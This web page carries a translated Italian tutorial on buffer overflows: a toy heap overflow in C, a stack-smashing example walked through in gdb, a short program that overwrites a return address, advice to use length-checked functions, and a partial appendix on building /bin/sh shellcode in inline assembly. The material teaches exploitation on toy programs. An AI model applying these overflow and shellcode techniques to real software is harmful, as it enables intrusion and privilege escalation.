Manuali, links, fotografie e tanto altro
alla portata di un semplice click!
 
 Benvenuto Ospite
Manuali, immagini, fotografie e tanto altro a portata di un click

Cartoline virtuali

Cartolina n° 1199



Sono presenti 1307 cartoline virtuali. Entra ora


Giochi online
Asteroids 2


1. ermesiti: 39,780
2. Mike86: 24,720
3. barone400: 20,480

Visualizza tutti i giochi.

News Reader















Introduzione al Buffer Overflow, N'eM Sy
.: Data Pubblicazione 03-Nov-2004 :: Letture:: 518 :: Recensione :: Stampa solo questa pagina :: Stampa pagina con tutte le sottopagine:.
-----
Intro
-----

Ciao, eccomi di nuovo, questa volta vi metterò a conoscenza di cos'e' in effetti
il buffer overflow e con potete scoprire se qualche programma e' vulnerabile agli
exploit di buffer overflow. Questo tutorial a codice sorgente C, quindi se non conoscete
il C potrete avere qualche problema con questo tutorial, inoltre dovete avere qualche 
nozione di ASM (ndt Assembler) e su come usare gdb.
Ho provato a farlo il piu' semplice possibile, ma questo tutorial lo stesso non e'
uno di quelli dove non impari niente di niente e quando l'hai finito sai tutto. Questo
tutorial ha bisogno di qualche sforzo per essere compreso, hey mi e' costato molto
lavoro scriverlo!
Una piccola note, come chiunque stia leggendo queste righe a me piace imparare, cosi
alcune settimane fa' mi sono detto "Hey che cacchio, perche' non incomincio a leggere
qualcosa riguardo i buffer overflow, io so come il tutto funziona ma solo superficialmente
", cosi ho semplicemente cominciato ad imparare ed ora cerco di passare le conoscenze
che ho acquisito, a chiunque fosse interessato. Quindi questo non sara' uno di quei testi
dove imparerete tutto, sara' piu' come una prova generale, come dice il titolo un'
Introduzione , (alla fine vi daro' qualche testo interessante). Se avete quanche domanda
su questo tutorial postatela nel nostro message board, se trovate qualche "bug" in
questo tutorial scrivetemi ed io lo correggero'.
Buon divertimento.

Exploit?
--------

 Bene, forse tutti sanno cosa e' un exploit. Ma dovete ancora vedere che quelli che 
entrano nel mondo della sicurezza (informatica) per la prima volta probabilmente
non hanno la minima idea di cosa sia, per questo ho scritto questa piccola sezione.
  Per quelli che non sanno, un exploit e' un programma, di solito scritto in C,
che sfrutta alcuni problemi di altri programmi. L'exploit vi permettera' di eseguire
codice arbitrario che vi permettera' di fare qualcosa che non dovreste poter fare
in condizioni normali del sistema.
  Oggi, la maggior parte degli exploit sono cio' che chiamiamo Buffer Overflow Exploits.
What's that you ask. Aspettate un po', perche' ci arriveremo. Dopo tutto, questo e'
l'oggetto di questo tutorial.
  Un'altra cosa che dovreste sapere e' che chiunque sa come usarli(come credete
facciano a deturpare la maggior parte dei siti web?), gli "script kiddies" [1*] non
fanno altro che andare in siti come security focus, packetstorm o fyodor's exploit 
world, scaricarli e farli partire, per poi essere presi. Ma perche' non tutti 
scrivono exploit? Il problema e' che molti non sanno come sfuttare alcune "faglie" 
nel codice sorgente, o anche se possono non sanno scrivere un exploit. Allora, ora 
che avete un idea di cosa sia un exploit, proseguiamo nella sezione Buffer Overflow.


Dopo tutto, cos'e' il Buffer Overflow?
--------------------------------------

  Come ho detto prima, la maggior parte degli exploit sono Exploit di Buffer Overflow.
  Starete ora pensando "Bah.. sto tipo sta sparando cose a destra e a manca, ma ancora
non ha detto cosa e' un buffer overflow". Ora ne parliamo.
  Un problema da buffer overflow e' situato nella memoria dove il programma conserva 
i suoi dati. Perche', direte voi. Perche' cio' che un buffer overflow fa' e' 
sovrascrivere specifiche aree delle memoria con cio' che volete, e cio' fara' fare al
programma cio' che volete.
  Eheh, ora qualcuno di voi stara' pensando "Uao, So come funziona un buffer overflow",
ma ancora non sapete come sfruttarlo.

  Eccovi un programma, cerchiamo di trovare e aggiustare il buffer overflow


------ Inizio del codice --------

   main(int argc, char **argv) {

      char *somevar;
      char *important;

      somevar = (char *)malloc(sizeof(char)*4);
      important = (char *)malloc(sizeof(char)*14);

      strcpy(important, "command");  /*Questa e' la variabile
                                              'importante'*/
      stcrpy(somevar, argv[1]);


      ..... Code here ....

  }

 ....  Other functions here ....

------- Fine  ------


 La variabile imporant conserva qualche comando di sistema, per esempio "chmod o-r file", 
e dal momento che 'file' appartiene a root e il programma viene eseguito da root, questo 
significa che se potete inviargli dei comandi potrete eseguire qualsiasi comando di 
sistema. Cosi iniziate a pensare. Come posso mettere cio' che voglio nella variabile
'important' . Bisogna mandare la memoria in overflow. Ora vediamo gli indirizzi di memoria
delle variabile. Per fare cio' dovrete riscrivere il codice. Controllate il codice seguente.



--------- Inizio del codice ------------

main (int argc, char **argv) {


   char *somevar;
   char *important;

   somevar=(char *)malloc(sizeof(char)*4);
   important=(char *)malloc(sizeof(char)*14);

   printf("%pn%p", somevar, important);
   exit(0);

   segue altro codice....
   ......
   ....

}

--------- Fine  --------

 Non abbiamo fatto altro che aggiungere 2 righe al codice e lasciare intatto il resto.
Vediamo cosa fanno queste due righe.
  La riga printf("%pn%p", somevar, important); stampa l'indirizzo di memoria di
'somevar' e 'important'. exit(0); lascera' che il resto del programma continui, in effetti
il nostro scopo era quello di sapere dove le variabili fossero conservate in memoria.
  Una volta eseguito il programma otterrete qualcosa del genere, anche se molto
probabilmente gli indirizzi saranno differenti:

        0x8049700      <----- Questo e' l'indirizzo di 'somevar'
        0x8049710       <----- Questo e' l'indirizzo di 'important'
  
  Come potete vedere, la variabile 'important' e' situata accanto 'somevar', questo ci 
permettera' di usare le nostre capacita' con il buffer overflow, visto che 'somevar' 
viene prese da argv[1]. Ora che sappiamo che una variabile segue l'altra, controlliamo
ogni indirizzo di memoria in modo da avere un'idea piu' precisa della conservazione 
in memoria dei dati. Per fare cio' dovremo riscrivere ancora una volta il codice.


-------- Inizio del codice ---------

main(int argc, char **argv) {

   char *somevar;
   char *important;
   char *temp; 		/* abbiamo bisogno di quest'altra nuova variabile */


   somevar=(char *)malloc(sizeof(char)*4);
   important=(char *)malloc(sizeof(char)*14);

   strcpy(important, "command");  /*Questa e' la variabile
                                              'importante'*/
   strcpy(somevar, argv[1]);



   printf("%pn%pn", somevar, important);
   printf("Starting To Print memory address:n");

   temp = somevar; 	/* Questo fara puntare temp all'inizio dell'aria di memoria 
			   di 'somevar' */

      while(temp < important + 14) {

      /* Questo loop sara' interrotto quando avremo raggiunto la fine dell'aria di
	 memoria riservata alle variabili */

         printf("%p: %c (0x%x)n", temp, *temp, *(unsigned int*)temp);
         temp++;

      }

     exit(0);

     rest of code here
}
------ Fine ------

  Mettiamo per esempio ch e argv[1] in casi normali debba essere send. Digitate al 
prompt:

$ nome_programma send

Otterrete qualcosa del genere: 

0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61)    <---- Ognuna di queste righe rappresenta un indirizzo di memoria
0x8049703: d (0x0)
0x8049704:  (0x0)
0x8049705:  (0x0)
0x8049706:  (0x0)
0x8049707:  (0x0)
0x8049708:  (0x0)
0x8049709:  (0x19000000)
0x804970a:  (0x190000)
0x804970b:  (0x1900)
0x804970c:  (0x19)
0x804970d:  (0x63000000)
0x804970e:  (0x6f630000)
0x804970f:  (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717:  (0x0)
0x8049718:  (0x0)
0x8049719:  (0x0)
0x804971a:  (0x0)
0x804971b:  (0x0)
0x804971c:  (0x0)
0x804971d:  (0x0)
$

Bello, vero? Vedete che esistono 12 indirizzi di memoria vuoti tra 'somevar' e 
'important' ? Ora mettiamo il caso che eseguiate il programma con un linea di comando
tipo questa:

$ nome_programma send------------newcommand

Avrete qualcosa tipo:

0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <--- memory address where important variable starts
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a:  (0x0)
0x804971b:  (0x0)
0x804971c:  (0x0)
0x804971d:  (0x0)

  newcommand ha sovrascritto command. Ora fa cio' che voi volete, inveci di cio' che
era prestabilito.

NOTA: Ricordate sempre che lo spazio tra 'somevar' e 'important' puo' contenere altre
variabili invece di essere vuoto, percio' controllate il loro valore e fate in modo
che arrivino allo stesso indirizzo, o il programma molto probabilmente si blocchera' 
prima di arrivare alla variabile che avete modificato.


  Ora riflettiamo un po'. Perche' cio' accade? Come potete vedere nel sorgente 'somevar'
e' dichirato prima di important, e cio' fara' si', la maggior parte delle volte, che 
'somevar' stia prima in memoria. Ora controlliamo come ogni variabile viene assegnata.
'somevar' prende il suo valore da argv[1], e 'important' dalla funzione strcpy(), ma
il vero problema e' che il valore di 'important' viene assegnato per primo quindi 
quando assegnate un valore a 'somevar' che e' posto prima di 'important', quest'ultimo
viene sovrascritto. Il programma puo' essere corretto da questo buffer overflow invertendo
queste due righe:

strcpy(somevar, argv[1]);
strcpy(important, "command");

  Se il programma fosse stato scritto cosi, anche se voi avreste scritto nella linea di 
comando un argomento che avrebbe sovrascritto l'area di memoria di 'important', questa 
sarebbe stata ri-sovrascritta dal vero comando, visto che dopo l'assegnazione di un 
valore a 'somevar', il programma assegna il valore command a 'important'.

  Questo tipo e' un buffer overflow di memoria (heap). Come avrete sicuramente notato
in teoria sono veramente semplici ma, nel mondo reale, non e' cosi semplice trovarli,
dopo tutto l'esempio che vi ho data non era un programma stupido? E' davvero difficile
trovare le variabili 'important', ed anche per fare l'overflow di questa variabile
dovrete poter scrivere in una variabile posto in un'area di memoria inferiore, ma la
maggior parte delle volte queste condizioni non capitano contemporaneamente.
Per questo vi introdurro' ai Buffer overflow dello stack (o delle pile).


Una piccola annotazione:
------------------------
  Nell'ultimo paragrafo ho parlato di memoria(heap) e stack. Probabilmente vi starete
chiedendo cosi siano. Per la vostra fame di conoscenza, eccovi una breve e semplice
definizione di ognuno di essi:

memoria (heap) - E' lo spazio che riservate alle variabili (accedete a quest'area della
                 memoria con la funzione malloc() ).
stack - E' il posto dove vengono spinti o dove vengono ritornati valori da una funzione.

  Quando provate a fare un overflow su uno stack dovrete provare a cambiare l'indirizzo 
di ritorno, facendo saltare il codice fino al posto dove dovete inserire i comandi che 
volete siano eseguiti.
Incominciamo a parlare dello stack. Qui incomincia la parte che mi ha dato, e ancora 
mi da', molti problemi. Dovete conoscere un po' di ASM, come maneggiare gdb (credetimi 
diverra' uno dei vostri migliori amici), e non dovrete arrendervi.

Vediamo ora come "Mandare in frantumi lo stack", un tipo di "attacco" che
cambia l'indirizzo di ritorno (RET). Facendo cio' potrete far ritornare la funzione 
ad un indirizzo dove sono gia' allocati dei comandi che volete siano eseguiti.
Come in un overflow della memoria, vediamo un po' di codice sorgente.


------ Inizio del codice ------

/* Stack Overflow example */

exploit(char *this) {
 char string[20];
 strcpy(string,this);
 printf("%sn", string);
}

main(int argc, char *argv[]) {
 exploit(argv[1]);
}

------ Fine -----

Ora proveremo a chiamare duo volte la funzione exploit(). Come possiamo farlo?
Per prima cosa abbiamo bisogno di trovare degli indirizzi. Questa volta useremo
gdb. Per prima cosa compiliamo.

$ gcc stack.c -o stack
$ gdb stack

GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB e' un programma libero, coperto dalla GNU General Public License, e siete
liberi di cambiarlo e/o ridistribuirne copie, purche' rispettiate alcune condizioni.
Scrivete "show copying" per vedere le condizioni.
Non ci sono garanzie per  GDB. Digitate "show warranty" per i dettagli.
Questo GDB e' stato configurato come "i586-suse-linux-gnu"...
(gdb)

 Questo e' il vostro prompt, ora disassembleremo main. Per fare cio' digitare
 disassemble (oppure disas) main , difficile vero'?

(gdb) disas main
 Dump of assembler code for function main:
 0x8048440 
: push %ebp 0x8048441 : mov %esp,%ebp 0x8048443 : mov 0xc(%ebp),%eax 0x8048446 : add $0x4,%eax 0x8048449 : mov (%eax),%edx 0x804844b : push %edx 0x804844c : call 0x8048410 0x8048451 : add $0x4,%esp 0x8048454 : mov %ebp,%esp 0x8048456 : pop %ebp 0x8048457 : ret (Seguono alcune NOPS. NOP sta' per No Operation... cio' non viene fatto niente). End of assembler dump. Riflettiamo un po' ------------------ Come possiamo vedere exploit() viene chiamato all'indirizzo 0x804845c e questa ha 0x8048410 come suo indirizzo. Di nuovo gdb ------------ (gdb) disas exploit End of assembler dump. (gdb) 0x8048410 : push %ebp 0x8048411 : mov %esp,%ebp 0x8048413 : sub $0x14,%esp 0x8048416 : mov 0x8(%ebp),%eax 0x8048419 : push %eax 0x804841a : lea 0xffffffec(%ebp),%eax 0x804841d : push %eax 0x804841e : call 0x8048340 0x8048423 : add $0x8,%esp 0x8048426 : lea 0xffffffec(%ebp),%eax 0x8048429 : push %eax 0x804842a : push $0x80484bc 0x804842f : call 0x8048330 0x8048434 : add $0x8,%esp 0x8048437 : mov %ebp,%esp 0x8048439 : pop %ebp 0x804843a : ret (gdb) x/3bc 0x80484bc 0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 'n' (gdb) (gdb) quit $ back to the prompt Riflettiamo ancora un po' ------------------------- Vi starete chiedendo cosa sia il comando x/3bc. Beh, questo comando ci permette di esaminare la memoria. x/3bc ^^^ |||--- chars || --- Binary |----- define 3 as range (Per maggiori informazioni digitate al prompt help x/) Ho fatto cio' perche' mi chiedevo cosa fosse spinto nello stack all'indirizzo 0x80484cc , e come potete vedere e' la stringa che vogliamo stampare. Il nostro fine -------------- Ora dovremo cercare di far in modo che exploit ritorni il controllo di nuovo ad exploit invece che al main. Come facciamo, e come facciamo a sapere se cio' e' possibile? Il primo segnale che abbiamo e' che otteniamo segmentation fault se passiamo una stringa enorme, beh non enorme come aaaaaaaaaaaaaaaaaa, provate con 20 caratteri. Per fare cio' dobbiamo cambiare il RET (return address) a cui state pensando nella riga che avete visto in gdb: 0x804844c : call 0x8048410 Ed ora una domanda. In questa riga cosi imporante abbiamo due indirizzi, quale dei due dobbiamo utilizzare? Detto fatto. Dovrete usare 0x804844c perche' e quello che compie la chiamata a exploit, se inveci usiamo 0x8048410 non avremmo ottenuto niente visto che avremmo puntato a 0x8048410 : push %ebp ------ Inizio del codice ----- /* Exploit for stack program */ #include main() { char buf[28]; int i; for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161; *(long *)&buf[24] = 0x0804844c; *(long *)&buf[28] = 0x0; execv("./stack2", buf); } ------- Fine -------- Facendo cio' riscriviamo l'indirizzo di ritorno (RET) di 0x0804844c, facendo si che la funzione richiami dinuovo exploit(). Questo inizierà un loop senza fine. Perche' potevamo exploitare questo programma? Perche' non c'era un controllo sulla lunghezza della stringa che stavamo inserendo. Un consiglio nel caso dobbiate codificare qualcosa che deve essere sicuro, usate sempre funzioni che fanno un controllo sulla lunghezza, come fgets(), strncpy(), al posto di gets(), strcpy(), e cosi via. Consigli per gdb ---------------- Volete vedere come un exploit 'affligge' il programma vulnerabile? Entrate in gdb e scrivete: (gdb) exec exploit (gdb) symbol-file vunerable_program Vedrete cosa combina l'exploit, e poi corregete i problemi, se ne doveste avere. Ultimi suggerimenti ------------------- Finalmente abbiamo raggiunto la fine. Spero che cio' si stato di vostra utilita'... Ho in mente di aggiornare questo tutorial, visto che non ha tutto cio' che avevo intenzione di dire. Ma preferisco controllare tutto cio' che dico, invece di dire qualcosa di cui non ero sicuro al 100%. Se trovate qualcosa in questo tutorial che non vi convice, sentitevi liberi di scrivermi. Suggerimenti per la lettura --------------------------- - Omega Project by Lamagra - Advanced buffer overflow exploit by Taeho Oh - Smashing The Stack For Fun And Profit by Aleph One Questi tre testi vi daranno un'impressionante quantita' di informazioni. Mi hanno aiutato molto.... Li trovate su packetstorm.securify.com ---------------------- Appendix A: Shell Code ---------------------- Questa appendice e' stata scritta per un amico, che ringrazio moltissimo per i suoi aiuti. Il testo originale e' qui sotto. Regards mailto:predator@beotel.yu ICQ#: 46043882 Ho scritto tutto questo come parte del tutorial di Ghost Rider sui Buffer Overflow che potete scaricare da http://blacksun.box.sk Author: predator mailto: preedator@hotmail.com date : 26/07/2000 Shell code Ora parleremo dello shell code. Lo shell code e' un array dei caratteri che consiste in istruzioni macchina che vengono usate per creare shell. Visto che il programma che cercheremo di exploitare non ha un codice che esegue una shell, dovremmo scriverlo noi. Percio', bisogna conoscere un po' di assembly, C e di architettura x86. E' preferibile avere una conoscenza, seppur minima di Linux. Comunque solo il C e l'assembly sono veramente necessari. Incominciamo. 1. Shell code ------------- Di solito il codice per la shell e' scritto nei programmi come -> 1) char c0de[]={0x90,0x90...}; 2) char c0de[]="x90x90..."; Entrambi i modi sono corretti, percio' potete usare quello che preferite.:)). 2.Iniziamo con lo shell code ---------------------------- ------- shell.cpp ---------- void main(){ char *sh[2]; sh[0]="/bin/sh"; sh[1]=NULL; execve(sh[0],sh,NULL); } ------- Fine ---------- Questo programma e' utilizzato per avviare una shell. Perche' utilizziamo execve se ci sono un casino di funzioni exec (funzioni che eseguono programmi). La risposta e' semplice, execve e' l'unica funzione che e' chiamata con l'interrupt $0x80, che per noi e' molto importante. Compiliamo tutto cio' con l'opzione -static e eseguiamolo con gdb. >root@scorpion#cc shell.cpp -o shell -static >root@scorpion#gdb shell >GNU gdb 4.18 >Copyright 1998 Free Software Foundation, Inc. >GDB is free software, covered by the GNU General Public License, and you are >welcome to change it and/or distribute copies of it under certain conditions. >Type "show copying" to see the conditions. >There is absolutely no warranty for GDB. Type "show warranty" for details. >This GDB was configured as "i686-pc-linux-gnu"... >(gdb) disass main >Dump of assembler code for function main: >0x80481c0
: push %ebp >0x80481c1 : mov %esp,%ebp >0x80481c3 : sub $0x8,%esp >0x80481c6 : movl $0x8073768,0xfffffff8(%ebp) >0x80481cd : movl $0x0,0xfffffffc(%ebp) >0x80481d4 : push $0x0 >0x80481d6 : lea 0xfffffff8(%ebp),%eax >0x80481d9 : push %eax >0x80481da : mov 0xfffffff8(%ebp),%eax >0x80481dd : push %eax >0x80481de : call 0x804ea70 <__execve> >0x80481e3 : add $0xc,%esp >0x80481e6 : xor %eax,%eax >0x80481e8 : jmp 0x80481f0 >0x80481ea : lea 0x0(%esi),%esi >0x80481f0 : mov %ebp,%esp >0x80481f2 : pop %ebp >0x80481f3 : ret >0x80481f4 : nop >0x80481f5 : nop >0x80481f6 : nop >0x80481f7 : nop >0x80481f8 : nop >0x80481f9 : nop >0x80481fa : nop >0x80481fb : nop >0x80481fc : nop >0x80481fd : nop >0x80481fe : nop >0x80481ff : nop >End of assembler dump. >(gdb) disass execve >Dump of assembler code for function __execve: >0x804ea70 <__execve>: push %ebx >0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx >0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx >0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx >0x804ea7d <__execve+13>: mov $0xb,%eax >0x804ea82 <__execve+18>: int $0x80 >0x804ea84 <__execve+20>: pop %ebx >0x804ea85 <__execve+21>: cmp $0xfffff001,%eax >0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error> >0x804ea90 <__execve+32>: ret >End of assembler dump. >(gdb) quit Ora guardiamo un po' il main:) Tutte le funzioni partono da li'. main -> push %ebp main+1 ->movl %esp,%ebp Questa e' la procedura standard in tutte le funzioni. Per prima cosa salviamo %ebp e poi muoviamo %esp su %ebp facendo di %ebp il nuovo puntatore al frame. main+3 -> sub $0x8,%esp sub %esp con 0x8 perche' due puntatori a caratteri sono lunghi 8 byte, 2*4=8:)) main+6 -> movl 0x8073768,0xfffffff8(%ebp) uguale a sh[0]="/bin/sh"; main+13 -> movl $0x0,0xfffffffc(%ebp) same as sh[1]=NULL; main+20 -> pushl $0x0 La chiamata a excve parte quim stiamo spingendo gli argomenti della funzione in ordine inverso sullo stack(l'architettura x86 funziona sotto-sopra). main+22 -> lea 0xfffffff8(%ebp),%eax lea sta per "load effective address", carichiamo l'indirizzo di sh nell'array di puntatori main+25 -> pushl %eax spingiamo l'indirizzo sullo stack (secondo argomento (sh) ). main+26 -> movl 0xfffffff8(%ebp),%eax ... in 0xfffffff8(%ebp) abbiamo l'indirizzo di /bin/sh. guardiamo main+6 e poi spingiamolo sullo stack come sh[0] Ora diamo uno sguardo nella funzione execve __execve+1 mov 0x10(%esp,1),%edx Dobbiamo avere l'indirizzo del terzo argomento in %edx(il terzo argomento era essere NULL) __execve+5 mov 0xc(%esp,1),%ecx Dobbiamo avere l'indirizzo di sh in %ecx(sh era il secondo argomento) __execve+9 mov 0x8(%esp,1),%ebx Dobbiamo avere l'indirizzo di "/bin/sh" in %ebx(sh[0] era il primo argomento) __execve+13 mov $0xb,%eax 0xb e' la chiamata di sistema per execve __execve+18 int $0x80 Passiamo al kernel mode Cose da fare-> Dobbiamo avere l'indirizzo di NULL in %edx Dobbiamo avere l'indirizzo di sh in %ecx Dobbiamo avere l'indirizzo di "/bin/sh" in %ebx Dobbiamo avere 0xb in %eax Dobbiamo chiamare l'interrupt $0x80 Abbiamo bisogno dell'esatto indirizzo in memoria della nostra stringa "/bin/sh". Possiamo semplicemente mettere "/bin/sh" dopo la chiamata che spingera' EIP sullo stack, e l'EIP, una volta spinto, dovrebbe essere l'indirizzo della nostra stringa... Guardate pic 0.1 [JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss] |^_______________________^| |________________________| All'inizio del codice metteremo l'istruzione JMP che saltera' alla chiamata, che salvera' EIP e poi andra' all'offset di a.EIP sara' il nostro indirizzo di "/bin/sh" a-stands for code J-stands for JMP C-stands for CALL s-stands for "/bin/sh" Bene, ora scriviamo questo in asm-> ------------ shell1.cpp ---------------- void main(){ __asm__("jmp 0x1e n" //jmp alla chiamata "popl %esi n" //salva EIP in esi,ora abbiamo l'indirizzo di /bin/sh "movl %esi,0x8(%esi) n" //indirizzo di sh dietro /bin/sh "movl $0x0,0xc(%esi) n" //NULL come terzo argomento va dopo l'indirizzo di sh "movb $0x0,0x7(%esi) n" //termina /bin/sh con '
.: Ritorna ad argomento Hackers :: Ritorna a Indice Argomenti :.
Network: Cartoline virtuali - Calendari - Modelle - Playmates - Sfondi - Forum - Old SecurityNews - Warez